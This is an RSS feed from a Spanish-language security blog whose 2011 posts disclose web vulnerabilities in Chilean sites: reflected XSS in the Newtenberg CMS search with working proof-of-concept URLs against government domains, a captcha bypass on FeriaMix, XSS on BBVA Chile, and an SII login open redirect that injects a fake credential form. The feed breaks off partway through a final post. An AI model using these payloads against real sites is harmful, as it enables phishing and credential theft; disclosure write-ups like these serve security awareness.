<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>El rincón de Zerial &#187; hack</title>
	<atom:link href="http://blog.zerial.org/tag/hack/feed/" rel="self" type="application/rss+xml" />
	<link>http://blog.zerial.org</link>
	<description>Informática, GNU/Linux, Seguridad, Hacking, Programación, Ocio</description>
	<lastBuildDate>Tue, 03 Jan 2012 00:13:53 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0</generator>
		<item>
		<title>Cross-Site Scripting en CMS Newtenberg Engine</title>
		<link>http://blog.zerial.org/seguridad/cross-site-scripting-en-cms-newtenberg-engine/</link>
		<comments>http://blog.zerial.org/seguridad/cross-site-scripting-en-cms-newtenberg-engine/#comments</comments>
		<pubDate>Wed, 13 Jul 2011 14:05:23 +0000</pubDate>
		<dc:creator>Zerial</dc:creator>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Seguridad]]></category>
		<category><![CDATA[Sitios Vulnerables]]></category>
		<category><![CDATA[chile]]></category>
		<category><![CDATA[conama]]></category>
		<category><![CDATA[conicyt]]></category>
		<category><![CDATA[cross-site scripting]]></category>
		<category><![CDATA[engine]]></category>
		<category><![CDATA[gobierno]]></category>
		<category><![CDATA[hack]]></category>
		<category><![CDATA[inseguridad]]></category>
		<category><![CDATA[javascript]]></category>
		<category><![CDATA[newtenberg]]></category>
		<category><![CDATA[sitios vulnerables]]></category>
		<category><![CDATA[subdere]]></category>
		<category><![CDATA[xss]]></category>

		<guid isPermaLink="false">http://blog.zerial.org/?p=2442</guid>
		<description><![CDATA[Esta plataforma de Software permite administrar contenidos y hacer sustentables sitios Web de alta complejidad. Los documentos se almacenan en un reservorio de conocimiento y pueden ser caracterizados según múltiples miradas (clasificandos). Engine apoya las labores de Arquitectura de Información, Modelamiento, Diseño, Poblamiento y Edición de Contenidos, interconectando las labores del equipo de trabajo a [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://blog.zerial.org/wp-content/uploads/2011/07/articles-68132_foto_portada.gif"><img src="http://blog.zerial.org/wp-content/uploads/2011/07/articles-68132_foto_portada.gif" alt="" title="logo newtenberg engine" width="120" height="108" class="aligncenter size-full wp-image-2443" /></a></p>
<blockquote><p>Esta plataforma de Software permite administrar contenidos y hacer  sustentables sitios Web de alta complejidad. Los documentos se almacenan  en un reservorio de conocimiento y pueden ser caracterizados según  múltiples miradas (clasificandos). Engine apoya las labores de  Arquitectura de Información, Modelamiento, Diseño, Poblamiento y Edición  de Contenidos, interconectando las labores del equipo de trabajo a  través de un sistema de workflow.</p></blockquote>
<p>La vulnerabilidad está presente en el buscador de este CMS y se replica la mayoría de sus clientes/usuarios.<br />
Se deteca cuando vemos el codigo fuente del buscador, vemos que tiene un atribuo &#8220;onsubmit=doSearch()&#8221;</p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2011/07/src_form_conama.png"><img src="http://blog.zerial.org/wp-content/uploads/2011/07/src_form_conama.png" alt="" title="src_form_conama" width="488" height="20" class="aligncenter size-full wp-image-2447" /></a></p>
<p>Al realizar la busqueda, la función doSearch() nos cambia el href:</p>
<pre name="code" class="c">function doSearch() {
				// Delete search's cookies
                if( "exists".match ) {
                    var results = document.cookie.match(/\w+=/g);
						if( results ) {
							for( var i=0; i < results.length; i++ ) {
								if( results[i].substring(0,7) == 'search_' ) {
									deleteCookie( results[i].substring(0,results[i].length-1) );
								}
							}
						}
                	}

					setCookie('search_keywords',document.searchForm.keywords.value);
					setCookie('search_start', 0 );
					setCookie('search_group', 0 );
					setCookie('search_expanded', 0 );
					document.location.href="w3-propertyvalue-16131.html";
                    return false;
                } </pre>
<p>Y cuando carga el sitio "w3-propertyvalue...." podemos ver en el codigo fuente que se genera el siguiente javascript:</p>
</pre>
<pre name="code" class="c">var url = 'http://ntg-engine.conama.cl/mod/find/cgi/find.cgi?action=query';
	url+= '&#038;engine=SwisheFind';
	url+= '&#038;rpp=';
	url+= '&#038;cid=815';
	url+= '&#038;stid=';
	url+= '&#038;iid=1257';
	url+= '&#038;grclass=resultado-busqueda';
	url+= '&#038;pnid=';
	url+= '&#038;pnid_df=';
	url+= '&#038;pnid_tf=';
	url+= '&#038;pnid_search=2033,1999,1849';
	url+= '&#038;limit=';
	url+= '&#038;searchon=';
	url+= '&#038;channellink=';
	url+= '&#038;articlelink=w3:article';
	url+= '&#038;pvlink=w3:propertyvalue';
	url+= '&#038;notarticlecid=';
	url+= '&#038;use_cid_owner_on_links=';
	url+= '&#038;show_ancestors=';
	url+= '&#038;show_pnid=';
	url+= '&#038;cids=815';
	if( "exists".match ) {
		var results = document.cookie.match(/\w+=/g);
		if( results ) {
			for( var i=0; i < results.length; i++ ) {
				if( results[i].substring(0,7) == 'search_' ) {
					url += '&#038;' + results[i].substring(7,results[i].length) + escape( getCookie( results[i].substring(0,results[i].length-1) ) );
				}
			}
		}
	} else {
		url+= '&#038;start=' + getCookie( 'search_start' );
		url+= '&#038;keywords=' + escape(getCookie( 'search_keywords' ));
	}
	url+= '&#038;prepnidtext=' + escape('');
	// Descomentar la siguiente linea para depurar
	//document.write( '<' + 'iframe width="500" height="500" src="' + url + '">' + + '< ' + '/iframe>' );
	url+= '&#038;javascript=1';
	document.write( '<scr ' + 'ipt language="JavaScr' + 'ipt" type="text/javascr' + 'ipt" src="' + url + '"> < \/scr' + 'ipt>' );</scr></pre>
<p>Esta vulnerabilidad afecta el propio sitio web de la empresa y a casi todos sus clientes.<br />
A partir de este codigo javascript generado por el CMS, construiremos nuestro XSS.</p>
<p><span id="more-2442"></span></p>
<p>Para este ejemplo, lo que nos interesa es el valor final de la variable &#8220;url&#8221;, que en este caso es algo similar a:</p>
<p><strong>http://ntg-engine.conama.cl/mod/find/cgi/find.cgi?action=query&#038;engine=SwisheFind&#038;rpp=&#038;cid=815&#038;stid=&#038;iid=1257&#038;grclass=resultado-busqueda&#038;pnid=&#038;pnid_df=&#038;pnid_tf=&#038;pnid_search=2033,1999,1849&#038;limit=&#038;searchon=&#038;channellink=&#038;articlelink=w3:article&#038;pvlink=w3:propertyvalue&#038;notarticlecid=&#038;use_cid_owner_on_links=&#038;show_ancestors=&#038;show_pnid=&#038;cids=815&#038;keywords=prueba</strong></p>
<p>Ya nos salimos del dominio <em>conama.cl</em> y entramos a jugar al subdominio <em>ntg-engine.conama.cl</em>, donde está instalado el motor (engine) del CMS. Si abrimos la URL de prueba, podemos ver el siguiente resultado:</p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2011/07/busqueda_conama.png"><img src="http://blog.zerial.org/wp-content/uploads/2011/07/busqueda_conama.png" alt="" title="busqueda_conama" width="469" height="221" class="aligncenter size-full wp-image-2450" /></a></p>
<p>Aparece en <strong>negrita</strong> la palabra que buscamos. Si en lugar de prueba insertamos un codigo javascript, será ejecutado:</p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2011/07/xss_poc_conama.png"><img src="http://blog.zerial.org/wp-content/uploads/2011/07/xss_poc_conama.png" alt="" title="xss_poc_conama" width="670" height="410" class="aligncenter size-full wp-image-2451" /></a></p>
<p>Los sitios afectados son:</p>
<p><a href="http://www.newtenberg.com">Newtenberg &#8211; http://www.newtenberg.com</a><br />
<a href="http://www.sinia.cl">SINIA (Sistema Nacional de Informacion Ambiental) &#8211; http://www.sinia.cl</a><br />
<a href="http://www.mma.gob.cl">Ministerio del Medio Ambiente &#8211; http://www.mma.gob.cl</a><br />
<a href="http://www.siss.gob.cl">Superintendencia de Servicios Sanitarios &#8211; http://www.siss.gob.cl</a><br />
<a href="http://ri.conicyt.cl">Repositorio Institucional CONICYT &#8211; http://ri.conicyt.cl</a><br />
<a href="http://www.redlideres.cl">Red Lideres &#8211; http://www.redlideres.cl</a><br />
<a href="http://www.puntolex.cl">Punto Lex &#8211; http://www.puntolex.cl</a><br />
<a href="http://www.subdere.gov.cl">Subsecretaria de Desarrollo Regional y Administrativo &#8211; http://www.subdere.gov.cl</a><br />
<a href="http://www.conama.cl">CONAMA &#8211; http://www.conama.cl</a><br />
<a href="http://www.elperiodista.cl/">El Periodista &#8211; http://www.elperiodista.cl/</a><br />
<a href="http://www.colombiaaprende.edu.co">Colombia Aprende &#8211; http://www.colombiaaprende.edu.co</a></p>
<p>Cada uno de estos sitios construye su propia URL dependiendo de los parametros, cuando hagamos una busqueda y veamos el codigo fuente, podemos ver el javascript generado automaticamente y crear nuestra URL explotable a partir de la variable &#8220;url&#8221;.</p>
<p><strong>PoC Subsecretaria de Desarrollo Regional y Administrativo (SUBDERE)</strong></p>
<p>URL: <strong>http://engine.subdere.gov.cl/mod/find/cgi/find.cgi?action=query&#038;engine=&#038;rpp=20&#038;cid=876&#038;stid=&#038;iid=1510&#038;grclass=&#038;pnid=&#038;pnid_df=&#038;pnid_tf=&#038;pnid_search=2403,2400,2444,2460,2530,2570,2544,2569,2541,2571&#038;limit=&#038;searchon=&#038;channellink=&#038;articlelink=w3:article&#038;pvlink=w3:propertyvalue&#038;notarticlecid=&#038;use_cid_owner_on_links=&#038;show_ancestors=1&#038;show_pnid=1&#038;cids=876&#038;keywords=%3Cscript%3Ealert%28/XSS%20PoC/%29%3C/script%3E</strong></p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2011/07/xss_poc_subdere.png"><img src="http://blog.zerial.org/wp-content/uploads/2011/07/xss_poc_subdere.png" alt="" title="xss_poc_subdere" width="644" height="422" class="aligncenter size-full wp-image-2454" /></a></p>
<p><strong>PoC en el propio sitio de Newtenberg</strong></p>
<p>URL: <strong>http://engine.newtenberg.com/mod/find/cgi/find.cgi?action=query&#038;engine=SwisheFind&#038;rpp=10&#038;cid=924&#038;stid=5686&#038;iid=1765&#038;grclass=resultadobusqueda&#038;pnid=&#038;pnid_df=&#038;pnid_tf=&#038;pnid_search=&#038;limit=&#038;searchon=&#038;channellink=&#038;articlelink=&#038;pvlink=&#038;notarticlecid=0&#038;use_cid_owner_on_links=0&#038;show_ancestors=&#038;show_pnid=&#038;cids=924&#038;keywords=%3Cscript%3Ealert%28/XSS%20PoC/%29%3C/script%3E<br />
</strong></p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2011/07/xss_poc_newtenberg.png"><img src="http://blog.zerial.org/wp-content/uploads/2011/07/xss_poc_newtenberg.png" alt="" title="xss_poc_newtenberg" width="660" height="406" class="aligncenter size-full wp-image-2459" /></a></p>
<p>El error se produce al no filtrar el contenido de la variable &#8220;<strong>keywords</strong>&#8220;.</p>
<p>No se descarta que puedan haber mas sitios afectados.</p>
<div id="bottomcontainerBox" style="border:1px solid #808080;">
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fcross-site-scripting-en-cms-newtenberg-engine%2F&amp;layout=button_count&amp;show_faces=false&amp;width=85&amp;action=like&amp;font=verdana&amp;colorscheme=light&amp;height=21" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width=85px; height:21px;" allowTransparency="true"></iframe></div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<g:plusone size="medium" href="http://blog.zerial.org/seguridad/cross-site-scripting-en-cms-newtenberg-engine/"></g:plusone>
			</div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<a href="http://twitter.com/share" class="twitter-share-button" data-url="http://blog.zerial.org/seguridad/cross-site-scripting-en-cms-newtenberg-engine/"  data-text="Cross-Site Scripting en CMS Newtenberg Engine" data-count="horizontal" data-via="Zerial">Tweet</a>
			</div>			
			</div><div style="clear:both"></div><div style="padding-bottom:4px;"></div>]]></content:encoded>
			<wfw:commentRss>http://blog.zerial.org/seguridad/cross-site-scripting-en-cms-newtenberg-engine/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Como NO hacer un captcha: El caso de FeriaMix</title>
		<link>http://blog.zerial.org/seguridad/como-no-hacer-un-captcha-el-caso-de-feriamix/</link>
		<comments>http://blog.zerial.org/seguridad/como-no-hacer-un-captcha-el-caso-de-feriamix/#comments</comments>
		<pubDate>Mon, 30 May 2011 20:03:53 +0000</pubDate>
		<dc:creator>Zerial</dc:creator>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Seguridad]]></category>
		<category><![CDATA[Sitios Vulnerables]]></category>
		<category><![CDATA[captcha]]></category>
		<category><![CDATA[feriamix]]></category>
		<category><![CDATA[hack]]></category>
		<category><![CDATA[inseguridad]]></category>
		<category><![CDATA[sitios vulnerables]]></category>

		<guid isPermaLink="false">http://blog.zerial.org/?p=2320</guid>
		<description><![CDATA[Hace tiempo publiqué un XSS en FeriaMix, esta vez les mostraré la ineficiencia de un captcha en el mismo sitio. Todos sabemos que el captcha sirve para detectar que realmente es un humano quien está detrás del teclado y no un bot. Captcha es el acrónimo de Completely Automated Public Turing test to tell Computers [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://blog.zerial.org/wp-content/uploads/2011/05/feriapwned.png"><img class="aligncenter size-full wp-image-2325" title="feriapwned" src="http://blog.zerial.org/wp-content/uploads/2011/05/feriapwned.png" alt="" width="369" height="69" /></a></p>
<p>Hace tiempo <a href="http://blog.zerial.org/seguridad/xss-en-el-sitio-web-de-feriaticket-y-feriamix/">publiqué un XSS en FeriaMix</a>, esta vez les mostraré la ineficiencia de un captcha en el mismo sitio. Todos sabemos que el captcha sirve para detectar que realmente es un humano quien está detrás del teclado y no un bot.</p>
<blockquote><p>Captcha es el acrónimo de Completely Automated Public Turing test to  tell Computers and Humans Apart (Prueba de Turing pública y automática  para diferenciar máquinas y humanos).</p></blockquote>
<p>En el sitio &#8220;<a href="http://www.feriamix.cl/cgi-bin/wspd_cgi.sh/WService=wsPFDD/recuperar_contrasena.p">recuperar contraseña</a>&#8221; de FeriaMix pueden ver un captcha que aparentemente es &#8220;normal&#8221;,</p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2011/05/feriamixcaptcha1.png"><img class="aligncenter size-full wp-image-2321" title="feriamixcaptcha1" src="http://blog.zerial.org/wp-content/uploads/2011/05/feriamixcaptcha1.png" alt="" width="291" height="346" /></a></p>
<p><span id="more-2320"></span></p>
<p>pero fijense en un detalle, cuando escriben mal la palabra que aparece en el captcha y le dan al boton &#8220;continuar&#8221;, salta automaticamente una alerta en javascript diciendo que el captcha no es valido.</p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2011/05/feriamixcaptcha2.png"><img class="aligncenter size-full wp-image-2322" title="feriamixcaptcha2" src="http://blog.zerial.org/wp-content/uploads/2011/05/feriamixcaptcha2.png" alt="" width="498" height="459" /></a></p>
<p>Con esto podemos deducir que se hace la validación del captcha antes de que se envie la información al servidor, por lo tanto, es posible vulnerarlo. Si revisamos el codigo javascript encontramos &#8220;jcap.js&#8221; el cual contiene una validacion demasiado basica e insegura.</p>
<p>Sorpresa! La imagen del captcha que ustedes ven no es autogenerada, sino una imagen con una palabra estatica!</p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2011/05/feriamixcaptcha3.png"><img class="aligncenter size-full wp-image-2323" title="feriamixcaptcha3" src="http://blog.zerial.org/wp-content/uploads/2011/05/feriamixcaptcha3.png" alt="" width="346" height="154" /></a></p>
<p>La imagen &#8220;71.jpg&#8221; tiene la palabra &#8220;mine&#8221;, la 72 tiene otra palabra y asi hasta la 191.jpg. Si van al directorio de &#8220;<a href="http://www.feriamix.cl/jcap/cimg/">/jcap/cimg/</a>&#8221; podran ver un listado de todas las imagenes del captcha.</p>
<p>De esta forma es tan facil como hacer un bot que se conecte, obtenga el nombre de la imagen y segun el &#8220;numero&#8221; de imagen, escriba una palabra predeterminada.</p>
<p>Se puede llamar CAPTCHA a esto?</p>
<div id="bottomcontainerBox" style="border:1px solid #808080;">
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fcomo-no-hacer-un-captcha-el-caso-de-feriamix%2F&amp;layout=button_count&amp;show_faces=false&amp;width=85&amp;action=like&amp;font=verdana&amp;colorscheme=light&amp;height=21" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width=85px; height:21px;" allowTransparency="true"></iframe></div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<g:plusone size="medium" href="http://blog.zerial.org/seguridad/como-no-hacer-un-captcha-el-caso-de-feriamix/"></g:plusone>
			</div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<a href="http://twitter.com/share" class="twitter-share-button" data-url="http://blog.zerial.org/seguridad/como-no-hacer-un-captcha-el-caso-de-feriamix/"  data-text="Como NO hacer un captcha: El caso de FeriaMix" data-count="horizontal" data-via="Zerial">Tweet</a>
			</div>			
			</div><div style="clear:both"></div><div style="padding-bottom:4px;"></div>]]></content:encoded>
			<wfw:commentRss>http://blog.zerial.org/seguridad/como-no-hacer-un-captcha-el-caso-de-feriamix/feed/</wfw:commentRss>
		<slash:comments>15</slash:comments>
		</item>
		<item>
		<title>El Phishing y el Banco BBVA Chile</title>
		<link>http://blog.zerial.org/seguridad/el-phishing-y-el-banco-bbva-chile/</link>
		<comments>http://blog.zerial.org/seguridad/el-phishing-y-el-banco-bbva-chile/#comments</comments>
		<pubDate>Thu, 26 May 2011 00:58:24 +0000</pubDate>
		<dc:creator>Zerial</dc:creator>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Interes general]]></category>
		<category><![CDATA[Privacidad]]></category>
		<category><![CDATA[Seguridad]]></category>
		<category><![CDATA[Sitios Vulnerables]]></category>
		<category><![CDATA[bancos]]></category>
		<category><![CDATA[bbva]]></category>
		<category><![CDATA[chile]]></category>
		<category><![CDATA[cross-site scripting]]></category>
		<category><![CDATA[hack]]></category>
		<category><![CDATA[inseguridad]]></category>
		<category><![CDATA[phishing]]></category>
		<category><![CDATA[secureless]]></category>
		<category><![CDATA[sitios vulnerables]]></category>
		<category><![CDATA[xss]]></category>

		<guid isPermaLink="false">http://blog.zerial.org/?p=2300</guid>
		<description><![CDATA[El banco BBVA Chile no se queda atras en sus vulnerabilidades y buscando donde poder reportarlas no he encontrado nada, solo teléfonos donde piden demasiada información personal. No hay ningun formulario ni correo electrónico, por lo que nuevamente se acude a la tecnica de la publicación. Al igual que lo comentado en el post de [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://blog.zerial.org/wp-content/uploads/2011/05/BBVA-logo.jpg"><img class="aligncenter size-full wp-image-2301" title="BBVA-logo" src="http://blog.zerial.org/wp-content/uploads/2011/05/BBVA-logo.jpg" alt="" width="344" height="167" /></a></p>
<p>El banco BBVA Chile no se queda atras en sus vulnerabilidades y buscando donde poder reportarlas no he encontrado nada, solo teléfonos donde piden demasiada información personal. No hay ningun formulario ni correo electrónico, por lo que nuevamente se acude a la tecnica de la publicación.</p>
<p>Al igual que lo comentado en el post de <a href="http://blog.zerial.org/seguridad/el-phishing-y-el-banco-santander-chile/">El Phishing y el Banco Santander Chile</a>, la idea es dar a conocer como los bancos se lavan las manos con sus campañas anti phishing y anti fraudes, pero no son capaces de ofrecer una plataforma lo suficientemente robusta. Nuevamente este tipo de vulnerabilidades afectan a los usuarios y no al banco directamente, permitiendo el robo de credenciales e información personal, suplantación de identidad, etc.</p>
<p>La vulnerabilidad Cross-Site Scripting detectada se encuentra en la página principal del banco http://www.bbva.cl y corresponde al buscador.  El tipoco error de no <em>parsear</em> los parametros de entrada que se pasan por el forumlario o por URL (GET/POST).</p>
<p>La vulnerabilidad no ha sido reportada al banco ya que no se ha encontrado ningun método de contacto, pero se ha publicado en <a href="http://secureless.org">Secureless</a> junto <a href="http://www.secureless.org/search/?keywords=BBVA&amp;sid=0">al mismo tipo de vulnerabilidad correspondiente al BBVA de Colombia</a>.</p>
<p><span id="more-2300"></span></p>
<p>El script vulnerable corresponde a <strong>http://www.bbva.cl/tlch/jsp/ch/esp/meta/buscador/buscar.jsp</strong> que pasandole los parametros necesarios es posible ejecutar código javascript o html mediante la variable <strong>q</strong>.</p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2011/05/xss_poc.png"><img class="aligncenter size-full wp-image-2303" title="xss_poc" src="http://blog.zerial.org/wp-content/uploads/2011/05/xss_poc.png" alt="" width="518" height="280" /></a></p>
<p>Las <a href="http://www.bbva.cl/tlch/jsp/ch/esp/meta/minf/seg.jsp">politicas de seguridad</a> del banco dicen textualmente:</p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2011/05/politicas.png"><img class="aligncenter size-full wp-image-2305" title="politicas" src="http://blog.zerial.org/wp-content/uploads/2011/05/politicas.png" alt="" width="541" height="360" /></a></p>
<p>Permitiendo este tipo de ataques (xss) el banco no está cumpliendo, ya que un atacante puede suplantar la identidad del sitio y abusar de la confianza que tiene el usuario/cliente en el sitio web del BBVA, pudiendo interceptar el tráfico, generar formularios falsos, redireccionar al usuario a sitios malignos, etc.</p>
<p>Nuevamente, este es un llamado para que <strong>los bancos se hagan cargo de este tipo de cosas!</strong></p>
<p><strong>Editado: (13 de Junio del 2011)</strong> La vulnerabilidad se encuentra corregida. El banco no respondio ningun email y tampoco dio ningun tipo de comunicado o mensaje al respecto.</p>
<div id="bottomcontainerBox" style="border:1px solid #808080;">
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fel-phishing-y-el-banco-bbva-chile%2F&amp;layout=button_count&amp;show_faces=false&amp;width=85&amp;action=like&amp;font=verdana&amp;colorscheme=light&amp;height=21" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width=85px; height:21px;" allowTransparency="true"></iframe></div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<g:plusone size="medium" href="http://blog.zerial.org/seguridad/el-phishing-y-el-banco-bbva-chile/"></g:plusone>
			</div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<a href="http://twitter.com/share" class="twitter-share-button" data-url="http://blog.zerial.org/seguridad/el-phishing-y-el-banco-bbva-chile/"  data-text="El Phishing y el Banco BBVA Chile" data-count="horizontal" data-via="Zerial">Tweet</a>
			</div>			
			</div><div style="clear:both"></div><div style="padding-bottom:4px;"></div>]]></content:encoded>
			<wfw:commentRss>http://blog.zerial.org/seguridad/el-phishing-y-el-banco-bbva-chile/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>Arbitrary URL Redirection y XSS en sitio web del S.I.I</title>
		<link>http://blog.zerial.org/seguridad/arbitratry-url-redirection-y-xss-en-sitio-web-del-s-i-i/</link>
		<comments>http://blog.zerial.org/seguridad/arbitratry-url-redirection-y-xss-en-sitio-web-del-s-i-i/#comments</comments>
		<pubDate>Tue, 10 May 2011 14:46:20 +0000</pubDate>
		<dc:creator>Zerial</dc:creator>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Interes general]]></category>
		<category><![CDATA[Seguridad]]></category>
		<category><![CDATA[Sitios Vulnerables]]></category>
		<category><![CDATA[chile]]></category>
		<category><![CDATA[cross-site scripting]]></category>
		<category><![CDATA[hack]]></category>
		<category><![CDATA[inseguridad]]></category>
		<category><![CDATA[servicio impuestos internos]]></category>
		<category><![CDATA[sii]]></category>
		<category><![CDATA[sitios vulnerables]]></category>
		<category><![CDATA[url redirection]]></category>
		<category><![CDATA[vulnerabilidad]]></category>
		<category><![CDATA[vulnerabilidades]]></category>
		<category><![CDATA[xss]]></category>

		<guid isPermaLink="false">http://blog.zerial.org/?p=2261</guid>
		<description><![CDATA[Con esta vulnerabilidad es posible robar información sensible y suplantar la identidad del usuario. Justo en la fecha de la devolución de impuestos aparece esta vulnerabilidad en el login del sistema. Permite redireccionar a un usuario, luego de logearse, a cualquier sitio e incluso permite el robo de cookies mediante ejecución arbitraria de javascript en [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://blog.zerial.org/wp-content/uploads/2011/05/sii_online_peq.jpg"><img class="aligncenter size-full wp-image-2262" title="sii_online_peq" src="http://blog.zerial.org/wp-content/uploads/2011/05/sii_online_peq.jpg" alt="" width="200" height="77" /></a></p>
<p>Con esta vulnerabilidad es posible robar información sensible y suplantar la identidad del usuario.</p>
<p>Justo en la fecha de la devolución de impuestos aparece esta vulnerabilidad en el login del sistema. Permite redireccionar a un usuario, luego de logearse, a cualquier sitio e incluso permite el robo de cookies mediante ejecución arbitraria de javascript en el cliente.</p>
<p>La URL vulnerable es <a href="https://zeus.sii.cl/AUT2000/InicioAutenticacion/IngresoRutClave.html">https://zeus.sii.cl/AUT2000/InicioAutenticacion/IngresoRutClave.html</a> que al agregarle al final &#8220;<strong>?http://alguna_url</strong>&#8220;, el usuario luego de iniciar sesión será redirigido hacia esa URL. Por ejemplo:</p>
<p><a href="https://zeus.sii.cl/AUT2000/InicioAutenticacion/IngresoRutClave.html?https://www.google.com">https://zeus.sii.cl/AUT2000/InicioAutenticacion/IngresoRutClave.html?https://www.google.com</a></p>
<p>Luego de ingresar, seremos redirigidos a Google.</p>
<p>Tambien puede ser un javascript, por ejemplo mostrando las cookies de sesión:</p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2011/05/sii_xss.png"><img class="aligncenter size-full wp-image-2263" title="sii_xss" src="http://blog.zerial.org/wp-content/uploads/2011/05/sii_xss.png" alt="" width="715" height="191" /></a></p>
<p>O por ejemplo, usar javascript para dibujar un formulario que haga POST a un sitio remoto, capturando la información:</p>
<p><a href="https://zeus.sii.cl/AUT2000/InicioAutenticacion/IngresoRutClave.html?javascript:document.write%28%27%3Cform%20method=post%20action=%3Eusuario:%20%3Cinput%20type=text%3E%3Cbr%3Epass:%20%3Cinput%20type=password%3E%3Cbr%3E%3Cinput%20type=submit%20value=entrar%3E%27%29;">https://zeus.sii.cl/AUT2000/InicioAutenticacion/IngresoRutClave.html?javascript:document.write%28%27%3Cform%20method=post%20action=%3Eusuario:%20%3Cinput%20type=text%3E%3Cbr%3Epass:%20%3Cinput%20type=password%3E%3Cbr%3E%3Cinput%20type=submit%20value=entrar%3E%27%29;</a></p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2011/05/form_sii.png"><img class="aligncenter size-full wp-image-2265" title="form_sii" src="http://blog.zerial.org/wp-content/uploads/2011/05/form_sii.png" alt="" width="433" height="152" /></a></p>
<p>Abusando de la confianza que tiene el usuario sobre el sitio, con certificado SSL válido. De esta forma es posible obtener información confidencial de los usuarios, de forma transparente.</p>
<p>Nuevamente los sistemas informáticos dejan mucho que desear. Esta vulnerabilidad fue reportada la semana pasada mediante el formulario de contacto (el único medio disponible) pero no se obtuvo respuesta.</p>
<div id="bottomcontainerBox" style="border:1px solid #808080;">
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Farbitratry-url-redirection-y-xss-en-sitio-web-del-s-i-i%2F&amp;layout=button_count&amp;show_faces=false&amp;width=85&amp;action=like&amp;font=verdana&amp;colorscheme=light&amp;height=21" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width=85px; height:21px;" allowTransparency="true"></iframe></div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<g:plusone size="medium" href="http://blog.zerial.org/seguridad/arbitratry-url-redirection-y-xss-en-sitio-web-del-s-i-i/"></g:plusone>
			</div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<a href="http://twitter.com/share" class="twitter-share-button" data-url="http://blog.zerial.org/seguridad/arbitratry-url-redirection-y-xss-en-sitio-web-del-s-i-i/"  data-text="Arbitrary URL Redirection y XSS en sitio web del S.I.I" data-count="horizontal" data-via="Zerial">Tweet</a>
			</div>			
			</div><div style="clear:both"></div><div style="padding-bottom:4px;"></div>]]></content:encoded>
			<wfw:commentRss>http://blog.zerial.org/seguridad/arbitratry-url-redirection-y-xss-en-sitio-web-del-s-i-i/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>El Phishing y el Banco Santander Chile</title>
		<link>http://blog.zerial.org/seguridad/el-phishing-y-el-banco-santander-chile/</link>
		<comments>http://blog.zerial.org/seguridad/el-phishing-y-el-banco-santander-chile/#comments</comments>
		<pubDate>Wed, 04 May 2011 15:08:33 +0000</pubDate>
		<dc:creator>Zerial</dc:creator>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Interes general]]></category>
		<category><![CDATA[Privacidad]]></category>
		<category><![CDATA[Seguridad]]></category>
		<category><![CDATA[Sitios Vulnerables]]></category>
		<category><![CDATA[bancos]]></category>
		<category><![CDATA[chile]]></category>
		<category><![CDATA[cross-site request forgery]]></category>
		<category><![CDATA[cross-site scripting]]></category>
		<category><![CDATA[csrf]]></category>
		<category><![CDATA[hack]]></category>
		<category><![CDATA[inseguridad]]></category>
		<category><![CDATA[secureless]]></category>
		<category><![CDATA[xss]]></category>

